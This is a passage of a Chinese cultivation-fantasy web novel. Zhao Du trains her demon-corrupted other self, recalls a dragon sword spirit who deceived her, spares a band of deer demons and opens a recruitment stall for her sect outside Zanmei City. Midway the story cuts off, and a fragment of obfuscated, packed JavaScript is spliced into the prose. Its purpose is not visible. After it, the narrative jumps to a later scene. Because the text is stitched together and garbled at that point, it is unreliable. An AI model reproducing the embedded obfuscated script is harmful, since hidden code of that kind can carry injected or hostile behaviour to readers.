“不敢不敢……”另一个朝渡小心翼翼道,“就是,就是,我肯定很笨,虽然我会好好努力的,但我太笨了,大概会很容易惹你生气……” 朝渡怜惜轻叹,给她夹了一个鸡腿:“你这些年过得太苦了,对自己都没信心了,别忘了,我们本身就是一个人。总之,不用担心这种问题,我也不是什么严师,更不会给你留作业布置考试,把我当你的朋友,你的修炼搭子就好。” 另一个朝渡眼眶湿润,重重点头。 朝渡想了想又道:“明天的课程,就从看日出开始吧。清晨看日出,修炼共鸣,然后上午实战,下午总结和练剑——想继续实战也行,晚上随意,种花钓鱼,弹琴作画下棋或者发呆都行。” 另一个朝渡听得充满期待:“好!就按这个安排!不过修炼共鸣是什么?” 朝渡惊讶看她:“你竟不知……?”看来到她参悟共鸣时,她与她的命运轨迹已经出现了较大偏离,另一个自己甚至没有参悟到共鸣。 朝渡心中惋惜,解释道:“共鸣需要你用心聆听天地的声音,观察万物万象,然后成为它的一部分,进可攻退可隐蔽,非常好用。” “而且。”朝渡指尖点向她的心口方位,“它能让你的心静下来。” “我明白了。”另一个朝渡了然点头,“我现在入魔了,最需要的不是力量,而是修身养性,我会努力的。” 朝渡却摇头:“不全对,你现在也需要力量,无论何时何地,你都需要力量,但心性不提上去,得到的力量越多就越容易失控,所以二者要同时进行,它们都很重要。而且你现在要做的不是努力,反而是放松下来,越放松,越能听到天地万物的声音。” 另一个朝渡立刻做了一个深呼吸:“好,那我尽量放松下来。” 朝渡无奈轻笑:“把尽量也去掉,放松哪里还需要尽量,不急,慢慢来,不要有任何压力。”朝渡说着,又给她夹了个虾仁:“多吃点,吃的时候专心吃,钓鱼的时候专心钓,总之不要想那些乱七八糟的事,专注你眼前的事就好,凡是你眼睛看不到的人和事,通通不要想不要管。” 另一个朝渡:“好,我记住了!” “对了,面团不方便携带,我给你做个灵力团吧。”朝渡抬起手,手间浮现出一团灵力,递给了另一个朝渡。 另一个朝渡接过灵力团,捏了捏,手感跟捏面团没有区别,她试着把手轻轻盖上去,又失败了。 朝渡安慰道:“没事,不急。之后你可以随时拿这个练习,总会成功的。不用它的时候,它可以变成两只小鸟陪着你。”朝渡对她眨了眨眼,“你知道它们的名字。” 另一个朝渡眼前一亮:“早睡和早起!” 她话音刚落,灵力团一分为二,化成了两只小巧可爱的鸟,一蓝一粉,围着她绕来绕去发出清脆悦耳的声音,最后一起停在了她的掌心里。 “早睡,早起,你们回来了……”另一个朝渡轻轻捧着它们,像捧了两颗价值连城举世无双的珍珠,她声音都有些颤抖,“这次我绝对绝对不会再把你们送走了!” 她捧着两只久别重逢的小鸟,不自觉地想跟它们更亲近些,她用拇指极轻地抚摸它们背上的羽毛,它们没有露出半点挣扎的意思,反而很亲昵地回头蹭了蹭她的指尖。 朝渡眼睛一亮,惊喜道:“你做到了!” 另一个朝渡望着掌心微 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另一个朝渡抱着早睡和早起,望着万里金色的云海,听着耳畔呼啸的长风,心中的茫然与恐惧渐渐消散,过往种种,像一场痛苦且漫长的梦,如今都渐渐模糊远去。 朝渡一直观察着她,此刻惊讶发现,她身上的魔气竟隐约淡了一些,看来根除魔气之事并非毫无希望。 另一个朝渡忽然扭头,期待地看着她:“现在该继续讲了吧?” 朝渡无奈轻叹:“讲。千钧剑那次重铸完后,我用剑有点别扭卡手,他还一直配合我跟我磨合,尽心尽力地当剑灵,没有说出自己的身份,我也只当他是普通剑灵。” 另一个朝渡不解:“他为何不说?” 朝渡望着越来越明亮的云海,忆起遥远的往事:“当年龙鸣渊为了王位,也因为嫉妒,与魔尊联手杀了他,断他龙角剥他龙鳞,还把他魂魄封印到龙角里,投进修仙界一个会随时变化位置的琥珀境里,龙族想找到他难如登天。我意外把他带了出来,但他被他弟弟伤透了心,也不想再因自己和王位引起纷争,令更多龙族流血送命,便不打算再回龙族,当真留在我的剑里当起了剑灵。后来向我坦白曾经身份时,他还说当我剑灵的那段日子是他最轻松愉快的一段日子。” 朝渡说着,无奈地捏了捏眉心:“我都不知道该说什么了。他瞒了我二十年,那段时间里,我当他是剑灵,信任他与他无话不谈,可他却瞒我骗我那么久。” 另一个朝渡悟了:“难怪……”难怪她提起他时眼神那么复杂。“那后来你什么时候知道他真实身份的?” 朝渡:“妖族联合魔尊鬼王袭击修仙界,修仙界危在旦夕,我计划去刺杀龙鸣渊,他才向我坦诚他的真实身份。” 另一个朝渡顿时震惊:“刺杀龙鸣渊?!你们去刺杀龙鸣渊了?” 朝渡点头:“去了,刚开始制订刺杀计划时,我没想到还能活着离开龙宫,只是想着必须除掉龙鸣渊,拆掉妖族跟魔尊鬼王的联盟,后来有他这个前太子协助,刺杀计划顺利不少,虽然也受了不轻的伤,至少没有把命折进去。龙鸣渊死在由他龙角铸成的剑下,也算替他报仇了。” 另一个朝渡喃喃道:“原来还可以这样破局……傅不辞至今没能解决龙鸣渊,后患无穷。那刺杀成功后,他还留在剑里吗?”另一个朝渡看向千钧剑:“现在的剑灵还是他吗?” 千钧剑轻微左右摆了摆,似乎是在否认。 “现在剑灵已经不是他了,是真正的剑灵。”朝渡也看向千钧剑,想起往事,神色更复杂了,“他一开始还不愿意离开剑,不想让我告诉龙族他的身份,让我忘记他本来的名字和身份,继续把他当千钧剑灵就好。” 另一个朝渡:“……啊?他这么喜欢当剑灵?”他这到底是喜欢当剑灵,还是喜欢…… 朝渡望着远处,轻抚千钧剑:“无论他怎么想的,但我想我的剑灵只是剑灵,而不是一个骗我那么多年的人,所以还是把他‘请’出了剑,再次重铸千钧剑,把剑里的龙角取出还给他,虽然他不想收。” 另一个朝渡被她的坚决震惊。 朝渡平静道:“我知道他有苦衷,他一开始不确定我能否信任,不敢告诉我,后来确认我可以信任,但也发现我讨厌欺骗,尤其是身边亲友的欺骗,他就更不敢告诉我了,一拖再拖,拖了那么多年。总之,后来他回去当新王了。” 另一个朝渡:“我感觉,他或许,有可能,其实是,喜……” 朝渡:“停,不用管他,咱们继续修炼吧。眼观,耳听,鼻嗅,手触……把你能调动的感官全部调动起来,借由它们将自己的心与天地连接,你会逐渐与天地共鸣。观察感受得越细致,连接就越多,与天地共鸣的程度也会越高。” 另一个朝渡试着按朝渡说的做,尽可能细致地感知周围的一切,由大到小,由浅入深。 她努力专心致志地去看,可很快就发现,她越是努力,心头越是烦躁,注意力越是分散。 往事一幕幕控制不住地浮现在眼前,她努力无视它们,透过它们继续观察周围,可又有一个无比熟悉的声音从身后响起。 “渡儿,原来你在这里。” 她扭过头,惊恐地看到那个长着傅不辞的脸的怪物竟然也在这里!就在她身后五步的位置!它是什么时候跟过来的?! 35. 重建道心 它用傅不辞的脸温柔笑着,抬起极长极细的前肢,一步步向她走来,用傅不辞的声音说:“渡儿,我找你找的好辛苦,跟我回去吧。” 它还向她伸出了手,一只沾满血的手,那些血,都是傅不辞的血啊! 另一个朝渡两眼发酸,心头生恨,脑中只剩一个念头:杀了它!给不辞报仇! 她猛地拔出朗月剑,向它刺去,却被迫停在半路,动弹不得。 好凉…… 她缓缓低头,发现自己身上竟结满了厚厚的冰! 她隐约想起了什么,脑海中忽然响起一个熟悉的声音:“你看到的那个怪物,是假的,不存在的。” 另一个朝渡看着离她越来越近,却也越来越透明的怪物,缓缓睁大了眼睛。 “这是幻象。”那个声音又道。 “渡儿,我好想你啊!”怪物将长着尖锐指甲的手伸向她的脸颊,她本能地想躲但没法躲,只能眼睁睁地看着那半透明的手离自己越来越近,然后骤然被一柄闪着雷光的剑切断。 怪物捂着伤口嘶吼一声,恶狠狠地看了剑一眼,随后消散成血雾。 另一个朝渡晃了晃脑袋,大口呼吸,有种被按在水里窒息已久,陡然浮上水面的感觉。 她抬起头:眼前是另一个自己,手持着千钧剑,刚才就是她斩断了那个怪物的手臂。 另一个朝渡愣了愣,忍着彻骨的寒冷,迫切问:“那个怪物不是幻象吗?你为什么能看到它,而且能斩断它的胳膊?” 朝渡挑了挑眉:“哦?只斩断了它的胳膊吗?我其实看不到它是什么,但是看你的眼神,它好像马上就要伤害到你了,我就试着出剑看能不能杀了它,这样或许能更快帮你从幻象里出来。” “可是,它既然是幻象,是假的,你是怎么斩断它的胳膊的?”另一个朝渡仍然困惑,并且被冻得打了个喷嚏,“好冷啊……” 朝渡打了个响指,让另一个自己身上的厚厚冰层碎裂掉落,又裹了层温暖的灵力,然后她想了想,道:“这个嘛,其实我也不太清楚,也许是因为你刚才已经快要清醒了,只是还分不清幻象与真实的边界,将两者重叠在一起了;又或许是你信任我,觉得我的剑可以伤到幻象里的怪物,它就真的伤到了。下次要是又遇见这种情况,你可以直接喊我,告诉我它的位置,比如离你三步,我们试试能否直接除了它。” 另一个朝渡眼睛亮了亮:“好!但是说起来,我怎么会忽然又看到那个怪物?” 朝渡也在想这个问题,另一个自己不久前看日出时身上的魔气还淡了一些,但就在方才开始修炼共鸣后,身上的魔气就愈发浓郁,甚至又看到了那个“怪物”。 问题似乎是出在了共鸣身上,但朝渡自己按照这个法子修炼了许多年,它不但能令人心神宁静,很适合另一个自己现在的情况,而且它还大幅提升了积累灵气的速度……对了,灵气!难道是因为灵气?! 朝渡忽然想起:灵气不能与魔气共存,因为灵气会被魔气污染。 这样一来,另一个朝渡在共鸣时获得的灵气,不但起不到压制她魔气的效果,还会被污染成魔气,反过来让她更容易失控! 朝渡倒吸一口凉气:“是我疏忽了,刚才没考虑到这一点。” 朝渡将自己的猜测告诉了另一个朝渡。 “这法子我用习惯了,没想到并不适合你现在的情况,抱歉。”朝渡道歉道,另一个朝渡却握住她的手,笑道:“不碍事,我们都不知道怎么才能根除魔气,尝试的路上走点弯路遇到点阻碍很正常。” 朝渡有点惊讶,她发现另一个自己真的变了,这次不需要自己安慰她,而是她反过来在安慰自己。 另一个朝渡对她眨了眨眼,笑道:“你是第一个飞升成仙的人,那我要当第一个由魔入仙的人,可不能因为这点小挫折就放弃。” 朝渡也握住她的手,笑道:“那咱们继续,不过修炼的方法得改进一下,让我想想……对了,你今天看日出时,身上的魔气竟然变淡了,那时你在想什么?” 另一个朝渡看向仍在向上飞翔的“金乌”,回忆起来:“当时在想,过去好像一场梦,已经结束,而未来就在前方,有你和早睡早起陪我一起,应该会是个不错的未来。” 朝渡心中微动,又想起另一个自己成功做到控制力气的那次,是因为想触碰久别重逢的两只小鸟,还有另一个自己反复看到的怪物……这些全都与她的心有关。 朝渡忽然有了新的灵感:也许根除魔气,不在丹药法宝之类的外物,连修炼方式都是次要的,关键在于心。 修仙者因道心破碎而由仙入魔,那想要由魔入仙,也许关键是重建道心。 重建一颗坚不可摧的道心。 只是这谈何容易? 一颗坚不可摧的道心,需要经历千锤百炼,阅尽人情冷暖,仍然坚定不移,甚至愈发强大坚固,这不是在深山中闭关修炼就能做到的。 她需要重新入世,在众生百态,世事无常中修炼道心。 朝渡缓缓踱步,思索起合适的带她入世的方法,忽然灵光一现,有了个念头,不过这个法子需要她筹备一下。 “咱们先继续修炼。”朝渡取出了一枚玉环,环上雕琢着环环相扣,流转不息的流水纹。 她抬手在上面用灵气画了个符,随后交给另一个自己:“这是聚灵玉环,我改造了一下,可以将你与天地共鸣时吸收的灵气存在这里面,一来这些灵气不会被污染成魔气了,你可以继续练习共鸣来宁心静神压制魔气,二来这些灵气说不定以后还能派上用场。” “让你费心了。”另一个朝渡珍重地接过玉环,当即就佩戴到了腰上。 朝渡笑道:“跟我客气什么。接下来再试试?” 另一个朝渡再次尝试,朝渡仔细观察,发现这次她身上的魔气变得更淡了一些,应该是成功了。 当太阳越升越高,两个朝渡开始了下一节课,实战。 从崖边回门派的路上,另一个朝渡不断地瞄向朝渡,用眼神暗示:不先教我一些厉害的新招式吗?还是要下午练剑时再教? 朝渡看了眼难掩兴奋的另一个自己,听到了她的心声,笑问:“想不想学我独创的无敌的新招式?” 另一个朝渡顿时欢呼:“想!” 朝渡点头,手中浮现出一本薄册子,递给满眼期待的另一个朝渡,笑吟吟道:“学吧,学会这本剑法,你就可以成为天下第一,无人能敌,然后脱魔成仙,寿与天齐。” 本来还满怀期待的另一个朝渡狐疑地看了看朝渡,越看越觉得她笑得像只狡黠狐狸。 “我怎么感觉哪里不太对劲……”另一个朝渡嘀咕着接过册子,低头看向册子封面,上面写着龙飞凤舞的四个大字“做梦剑法”。 另一个朝渡:“……噗。”被逗笑了。 朝渡也笑了:“根本不存在这样的无敌剑法,谁说有谁就是骗子。想成为高手,剑法不是最重要的,在我看来,实战经验,灵力积累等都比剑法重要。” 另一个朝渡想了想,点头:“确实,你在待仙塔里用的剑法没有太复杂的,但你的灵力足够强,哪怕只是一道剑气,也有很大的威力,可以一齐斩杀数只大魔物。” 朝渡颔首,打了个响指,无敌的“做梦剑法”册子散成一捧粉色花瓣,另一个朝渡扬起手将它们散了个干净。 朝渡一边走一边道:“想练剑,没有捷径。你有剑法基础,对目前的你而言,学更多的剑法反而有些累赘,还容易束缚你的思维和动作。不如先从实战里找找感觉,提高下实战经验,然后缺什么补什么。” 另一个朝渡:“有道理,不过我跟谁实战呢?不会是跟你吧……” 朝渡笑吟吟地点头:“对呀,不想吗?” “我这不是怕太笨了,惊着你……”另一个朝渡小心翼翼地打量她的神色。 朝渡无奈摇头:“你呀,你笨我也笨,谁也别嫌弃谁。不过现在嘛,你的对手另有其人,我也有点别的事要做,不能陪着你一直练。”她取出虚实相生卷,将周围的六栋空闲小楼都化成灵力收回画中,腾出一大片空地。 另一个朝渡环顾四周:“怎么改了这么多,这是要?” “这几栋楼不常用,改成训练场吧。”朝渡说着,将手掌按到虚实相生卷上,两条小鱼忙碌地勾勒出一幅画来,是一片密林,隐约可见其中的小路与机关陷阱,妖物和人形刺客。 线稿落到空地中,再由灵力填色,眨眼间,山顶多了一大片密林训练场。 “这里是出发点,终点在对面。”朝渡笑吟吟地拍了拍另一个自己的肩膀,“去吧,越快越好,能在一柱香燃尽前到达,有奖励。” 另一个朝渡当即干劲满满地提着朗月剑冲了进去。 枯叶下埋伏的陷阱,密叶间隐藏的暗器,树后潜藏的妖物,横在路间孤独求败的对手…… 等另一个朝渡灰头土脸地抵达终点时,夕阳都没影了,只剩月亮在对她招手。 等在终点的朝渡看到另一个朝渡幽怨的眼神,一时没敢吭声。 另一个朝渡拄着剑鞘提着剑,强撑着微笑:“是不是有点太难了……这怎么可能在一柱香内到达?” 朝渡欲言又止,默默用虚实相生卷恢复了训练场,又凝了面水镜让她看,提醒道:“别眨眼。” 另一个朝渡还没理解什么意思,朝渡的身影已经消失,下一瞬,水镜中出现了她的身影,朝渡正站在出发点对水镜的位置挥手。 接着,水镜中的身影如风般冲进了密林中。 一招。面对所有的陷阱与袭来的对手,她都只用了一招! 水镜甚至追不上她的速度,镜中只余残影,还有在残影后缓缓破碎的残骸。 极致快的速度,极致精简且精准的进攻。 另一个朝渡几乎忘了呼吸,眼前只剩那道行云流水,飘逸冷冽的残影。 随着收剑的声音响起在身旁,另一个朝渡才蓦地回神:一炷香对另一个自己而言,甚至是绰绰有余! 朝渡打量她的神色,斟酌着言辞:“我相信,你未来也可以做到这种程度,不过现在还有一些需要改进的地方,比如提高速度和精准度。而且你许久没有实战,这第一次就能全部通关,也算不错了,再多练练就好。” 朝渡拍了拍她的肩,笑道:“我相信你,你不用害怕,不用忧虑,多给自己一些时间,慢慢来。” 另一个朝渡:“……嗯!那我再来一次!”她握着剑提起劲,手腕却有点抖。 朝渡观察她的状态问:“累不累?” 另一个朝渡:“唔是有点,不过我可以……” 朝渡笑着摇了摇头,看向天边明月,温柔道:“已经到晚上了,休息会明天再继续吧?别把自己累垮,慢慢来,你还有很多时间。” 温柔的声音如春风般吹散她紧绷的弦。另一个朝渡深深呼出一口气,放松下来:“好,那接下来做什么?” 朝渡问:“你想弹琴作画吗?或者钓鱼睡觉也行,只要能让你的心宁静下来的,都可以。” 另一个朝渡想了片刻:“钓鱼吧?弹琴作画我怕我控制不好力度弄得一团糟,睡觉……我感觉有点睡不着。” 朝渡颔首:“那就钓鱼。” 两人来到了粉莲湖旁,从湖旁存放杂物的小屋中取来了两根鱼杆,两个鱼篓,两把躺椅,还有些许鱼食,随后到湖畔凉亭中开始垂钓。 另一个朝渡摆好鱼竿,望着湖上明月,还有湖中的玉台和曲折窄桥,想起了那天的梦,还有梦里意气风发的少年傅不辞。 回不去了。 那时那般的他,再也看不到了。 另一个朝渡神色怅然,朝渡瞄了她一眼,为了转移她的注意力,开口道:“对了,我打算给咱们仙隐宗招几个新弟子,你来当副宗主,以后带着新弟子们修炼,怎么样?”这是帮她重塑道心的重要一环。 另一个朝渡成功被转移注意力,惊讶问:“我当副宗主带新弟子修炼?我带的了吗……?” 她低头看着自己手上的魔纹,苦笑摇头:“谁会愿意听一个入魔之人的话?而且以我现在的菜鸟水平,哪里带的了新弟子,那不是害他们吗。” 朝渡却道:“别担心,我会帮你的,真有你带不了的我来带,不过我感觉大部分弟子你应该都带的了,因为我这次打算招的新弟子,是‘当年的我们’。” 另一个朝渡讶然扭头看向她,目光微动:“当年的我们?” 朝渡颔首,望着波光粼粼月光摇摇的湖面,目光温柔而怀念:“嗯,当年的我们,只知道想拿起剑,其它什么都不懂,四处碰壁,一边走一边撞了个头破血流,一心想往前走,却茫然到连哪里是‘前路’都分不清,还会半夜崩溃到抱着枕头痛哭……” 另一个朝渡惊讶看她,不可置信:“你也半夜哭过?!” 朝渡摊了摊手:“早说了咱们是一个人,虽然至今还没找到我们的分歧到底是从哪开始的,若说是认识傅不辞,可我们认识傅不辞的时间和机缘相同,按理说不该有这么大的差异……不提他了,总之这次,我想招的新弟子,或许连剑都不会,或许很迷茫不知前路在哪,但没关系,只要有勇气继续向前就好,这是唯一的入门条件。” 另一个朝渡心中微动,她感觉这条件也是说给她听到,无论身处何种困境,只要有继续向前的勇气就好。 另一个朝渡也露出一点释然的笑意:“听起来真不错,那我们什么时候去招人?对了,招人的话,仙盟那边怎么办?门派招人都是要向仙盟报备的,可咱们现在跟仙盟的关系……” 朝渡从容道:“别担心,我已经派剑灵去搜集消息了,说起来,仙盟似乎不打算把前晚的事闹大,很多人都不知道那事,不急,我再试着跟仙盟那边接触一下,看看情况,我们本意并非与仙盟为敌,仙盟也未必想与我们为敌。” 两人聊着天继续钓鱼,当朝渡钓到第三条鱼时,另一个朝渡的鱼篓里还是空空如也。 若往水里看去,就能发现,水里的鱼都聚在朝渡身边,简直是排着队等咬钩。 朝渡:“……可能因为这些鱼是用我的灵力造出来的,对我亲近一些,要不我们换个有真鱼的地方继续钓?” 另一个朝渡释然一叹,她原本已经无所谓了,但看另一个自己非常想让她钓上一条鱼,她也愿意再试试,这样另一个自己会开心些吧? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这只妖人首鹿身,看得出来修为很低,连化形都还没完全掌握,但头发和眉毛已经全然白了……怕是已经寿数将尽。 一只小鹿哭着冲出来奔向他,又被其它鹿妖拦了回去。 朝渡看着这些妖恐惧警惕的眼神,无奈道:“别怕,我不打算伤害你们。” 没有妖信。 只有那只老鹿妖一步步地走到她面前,神情之坚决看起来没打算活着回去。 他注视着朝渡问:“敢问我们的恩妖去了哪里?”他的目中有着冰冷的恨意和杀意。 朝渡微笑道:“他要去救人,唔,救妖,过几天就回来。” “真的?!”老鹿妖面露惊喜,密林中传来兴奋欢呼。 老鹿妖强忍激动,追问:“恩妖真的还会回来?你昨夜没有把他赶走?” “没有,只是告诉了他一直想找的妖的下落,他会回来的。”朝渡打量着这群心思单纯的小妖,好奇问,“你们为何管他叫恩妖?他救过你们?” 老鹿妖喜极落泪,闻言擦了擦泪,点头道:“我们当年被一只恶妖奴役,是恩妖救了我们,还庇护我们,教我们修炼……只恨我们修为太低微,昨夜恩妖不让我们跟着去,我们只能眼睁睁看着……” 朝渡了然:“所以你就打算今天舍命来刺杀我?” 老鹿妖僵住。 朝渡挥了挥手:“回去吧,你们的恩妖过几天就会回来的,他不在时,这里归我保护,你们该如何就继续如何。” 老鹿妖完全呆住,好一会才回过神:“……您和恩妖认识?” 朝渡:“唔,原本是和他要找的妖认识,现在也算和他认识,快点回去吧,那只小鹿妖急坏了。” 老鹿妖热泪盈眶,好一番感谢,才步履蹒跚地回到了密林中,林中群妖欢呼着渐渐散开。 两个朝渡又钓了会鱼,待天边浮现鱼肚白时,把鱼篓中的鱼放回湖中,接着回到仙隐宗的崖边等日出。 等待中,朝渡开口道:“我昨夜见了游藏和……另一个人。” 另一个朝渡惊讶:“你怎么见的?昨晚咱俩不是在钓鱼吗?” 朝渡:“我在仙盟和青云仙宫都留了分身。目前可以确定,仙盟不想与我们为敌,游藏同意我们仙隐宗招人,还会帮忙宣传。不过……你知道傅不辞打算怎么处理你的事吗?” 另一个朝渡摇头,想起他,她还是会难过,但难过中也有几分前所未有的释然:“他肯定不会直说我入魔,或许会说我生病了不能见人?不过本来也没几个人在乎我露不露面。” 朝渡冷笑:“不止,他还打算给你找个替身。” 另一个朝渡眉头紧蹙:“替身?代替我吗?他想做什么?对了,他早就想把我换掉,一个替身可以任他操纵,包括……主动提出和离,给他的新夫人让位?!” 朝渡点头:“这法子是不是挺不错?” 另一个朝渡愕然看向朝渡,只见朝渡望着愈发明亮的云海淡淡微笑道:“所以我打算向他学习一下,我让游藏帮我转告傅不辞,他敢给你找替身,我就敢给他找替身,他敢找新夫人,仙盟就敢换新盟主。” 另一个朝渡:“……!” 金乌振翼飞出云海,金色的光顷刻洒满山崖,有些刺眼,另一个朝渡捂住了眼睛,眼角却有泪滑落。 朝渡又道,声音却比刚才犹豫了一些:“昨夜我为了搜集消息,还见了另一个人,她想加入仙隐宗。” 另一个朝渡惊讶:“谁呀?咱们不是正好要招新弟子,让她来呀。” 朝渡轻咳一声:“她是,苏柔蕊。” 另一个朝渡:“…………” 她艰难道:“苏柔蕊啊……要不再考虑一下?” 停顿片刻,她又把头转到一边叹气道:“你要是实在想让她进来,那就让她进吧。” 朝渡却摇了摇头道:“选择权在你。我理解你不喜欢她,她过去伤害你很深。但如果,她愿意彻底和傅不辞断绝关系,当着修仙界众人的面向你道歉,舍弃柔花仙子的身份加入仙隐宗,以余生向你赔罪,你愿意给她一次机会吗?” 另一个朝渡震惊了:“她能做到这种程度?” 朝渡颔首:“昨夜她亲口所言。” 另一个朝渡又纠结片刻,点头了:“她要是真能做到,那可以给她一次机会。” 朝渡:“好,那我转告她,等正式招新弟子时,让她先当着众人的面向你道歉。” 另一个朝渡想想那个场景,感觉有点头皮发麻:“倒也不用当着那么多人的面,有点尴尬吧……说起来什么时候正式招人?” 朝渡颔首:“好,那让她私下给你好好道歉,我打算把时间定到五天后,主要是需要时间让修仙界都知道这事嘛。” “……到时候一定很热闹。”另一个朝渡感叹着,站起来伸了个懒腰,舒展手臂和脊背,眼睛亮亮的充满了干劲,“好啦,该今天的训练了!今天争取比昨天再快些!” 五天时间,充实地飞快过去,眨眼就到了仙隐宗招新弟子的时间。 两个朝渡看完日出便出发。 另一个朝渡坐上白玉鹤问:“话说咱们要去哪里招人?” 朝渡遥指远方:“离咱们仙隐宗最近的‘簪梅城’,想来这时城里应该已经很热闹了。” 36. 仙隐宗招新! 两个朝渡坐在白玉鹤上,聊着簪梅城的历史和簪梅祖师斩妖除魔的事迹,待来到了簪梅城上空,两人戴上面具,另一个朝渡还戴上了手套——是她钓鱼时抽空做的,用来遮挡手上魔纹的。 然后两人收起鹤一起走向城门。 城门口排着长队,热闹非凡,人群中全是讨论仙隐宗和夕溯,还有催前面快走的声音。 朝渡看了看长长的队伍,摇头:“排队怕是要排到晌午了,而且城门口有身份核验,还严查魔修……麻烦。” 另一个朝渡忐忑地摸了摸自己的面具,小声问:“我是不是进不了?” 朝渡对她笑着眨了眨眼:“怎么会进不了?直接隐身进就是了。” 另一个朝渡担忧道:“这种城池门口一般都会有检查法宝的,我隐身瞒得过人的眼睛,但瞒不了法宝的眼睛吧?” 朝渡:“别担心,我会跟法宝打个‘招呼’。” 两人隐身走向城门口。 朝渡看着长长的队伍,发现它压根没有缓慢移动,而是纹丝不动,这不太对劲。 忽然有几个簪梅城的守卫从城门口跑出来,沿着队伍大声解释:“城里人已经满了!真的没法再进人了!各位要是想进,得等里面的人出来才行!” 排队的人顿时炸了锅,纷纷不满抱怨: “等里面的人出来,夕溯早走了!” “簪梅城能塞不下我们几个人?” 守卫无奈道:“真的进不去了,各位,我也不想拦你们啊!现在城里面连屋顶上都是人!空中飞舟都没位置了!” 两个朝渡面面相觑:这到底是来了多少人? 有人问:“夕溯进去了吗?” 守卫摇头:“不知道,但目前还没现身。” 又有人冷笑:“夕溯若是还没进城,你们现在拦着不让人进,说不定把夕溯也拦在外头了!我看你们怎么办,一群人就干等着吧!” 守卫则道:“这不用担心,要是夕溯来了,肯定还是得放的,而且以那位的能耐,说不定不用我们放,人家直接就进去了。” 朝渡点头:这倒确实,她正准备直接进呢。 一群人议论纷纷,队形渐渐散了,有些人唉声叹气,直呼白跑一趟。 朝渡思索片刻,对另一个朝渡道:“你在这稍等片刻,我去城里看眼情况,若是真如那守卫所说,咱们就算进去了怕是连摆摊的地方都找不到,不如我们干脆就在城外招人吧。” 另一个朝渡眼睛一亮:“好主意!这城门口地方多宽敞!而且城外的人进不去,城里的人总能出来吧?” 朝渡隐身共鸣,躲过城门口法宝的探查,来到了城门内。 簪梅城内果然已经挤满了人,街道上屋顶上甚至空中……到处都是人,到处都在询问夕溯的下落: “你看到夕溯了吗?” “我要是看到了还会在这?” “夕溯今天到底要在哪招人啊?” “我刚才从城北边过来,没见到。” “走,再去南边瞧瞧。” “我可是提前五天专门从重山城过来的,今天一定得见到夕溯!” “嚯,那离簪梅城可够远的,你千里迢迢过来是打算报名?” “那倒不是,夕溯来历不明,听说仙隐宗居然建在灰荒岭,这谁敢去啊?我就是看看热闹,嘿嘿。” 朝渡打量一圈,无奈摇头,决定去城外摆摊,不过嘛……来都来了,让她带点东西出去。 朝渡速度飞快地来到旁边一个糕点铺里:这街道上人山人海,铺子里人倒是少,只有一个唉声叹气愁云满面的店员留守。 “客官要什么?”那店员头都没抬,叹着气问。 朝渡:“簪梅城特产的梅花酥和梅花酿各十份,打包带走。话说,姑娘因何叹气?” 店员一边打包朝渡要的东西,一边幽怨叹道:“因为今天大家都去看夕溯了,就我倒霉,抽签抽到了看店,见不到夕溯了……给,这是你要的,共计一百二十铜币。” 朝渡一边从荷包里取铜币一边安慰她道:“没事,说不定你已经见过了,还是这城里第一个见的。” 店员苦笑摇头:“怎么可能,我从小就是个倒霉蛋,而且就算见到夕溯,我也不可能是第一个人,难道夕溯一进城门什么都不干,先躲着其他人来这铺子买甜点?” 朝渡笑着点头:“真有可能哦。” 店员有气无力地摆了摆手,叹道:“唉,别拿我开玩笑了,本来心里就烦,唉。” 朝渡:“好吧,不过也许过一会你就可以听到夕溯与你家梅花酥相关的消息——如果这梅花酥确实好吃的话。” 店员愣住,抬起头半信半疑地看向朝渡:“你这话是什么意思?” 朝渡笑了笑,又问:“你想加入仙隐宗吗?” “啊?”店员连连摆手,“不想不想,听说这宗门在灰荒岭,太偏了,你……难道是仙隐宗的人?” 朝渡笑而不语,带上东西转身离开,又去隔壁同样冷清的首饰铺里买了两根梅花簪当纪念品,然后返回城外,把梅花酥和梅花酿递给另一个朝渡:“来,尝尝好不好吃。稍等,让我改下我们的面具。” 朝渡指尖点了下两人的面具,把原本能遮住全脸的面具改成了仅遮住上半截面容的面具,另一个朝渡的面具的两侧比她的稍微长一点,这样刚好能遮住她脸上的血色魔纹。 另一个朝渡戴着改好的半截面具,先尝了一口梅花酥,赞叹道:“外皮酥脆,内馅……我吃起来有点淡,那就应该是正好。总体感觉甜而不腻,清香四溢,不错不错!这个梅花酿也有点淡,但能喝出来香味清冽悠长,应该也是好喝的。不知道酿造时用的是山泉水还是雪水?” 朝渡点头笑道:“听说是雪水。对了,一会给新入门的弟子一人发一份梅花酥和梅花酿吧。” “……啊?咱们给新入门的弟子发这个?”另一个朝渡有点懵,“别的门派都是发剑发衣服,咱们发点心和酒?” 朝渡理直气壮:“多有纪念意义的簪梅城特产,而且确实好吃嘛!当然,还有个主要原因,我想送新弟子的真正礼物,不能当着太多人的面送,不然那些来报名入门的人,可能是奔着礼物来的人,而不是我们想招的人。” 另一个朝渡恍然:“很有道理,对了,咱们在城外哪里招人?这么大一片空地。” 朝渡环顾四周,指向不远处:“就这吧,这里人多热闹,消息灵通。” 两人说干就干,在离城门口三十丈外的位置摆了张从仙隐宗捎过来的桌子,又放了两把椅子。 这奇怪的动作立刻吸引了周围一些人的注意,他们是刚才排队的人,如今进城无望,队散了,但他们不甘心就这样离开,还在附近徘徊着。 有人上前问:“你们在做什么?簪梅城已经不让进了。” 朝渡颔首:“对呀,不让进了,所以我们在门外招人。” “……招人?等等,你的意思是你是仙隐宗的人?”那人诧异地打量两个朝渡。 朝渡笑问:“怎么,不像?” 那人仔细看了看,认真摇头:“不像。” 周围一群人笑起来:“以夕溯的本事怎么可能进不了城?” “更不可能就在门外扎个小摊子招人!” “喂,你还是赶紧走吧,万一被夕溯本人看见了,说不定会杀了你这个冒牌货哦!” 朝渡失笑摇头:“我脾气哪有那么暴躁。” 周围一群人愣住。 “她刚才说什么?” “她的意思是,她是夕溯?!” 朝渡不再回答,先把准备好的簪梅城特产摆到桌上,摞了高高的两堆。又用灵力凝了纸和笔墨,提笔在纸上写道: 仙隐宗招生 诚邀有勇气,想成仙,底子薄的未来英才加入 其它不限 门派地点:灰荒岭 朝渡这边刚铺好纸,城内像长了眼睛一般,先是一群飞舟纷纷飞向城外,接着一群人乌泱泱地从城墙上和城门里冲了出来,眨眼间就把朝渡的铺子围了个水泄不通,人群一眼看不到头,还有不少人正在从城里潮水般涌出来。 人群中议论纷纷: “这就是那位剑仙吗?!” 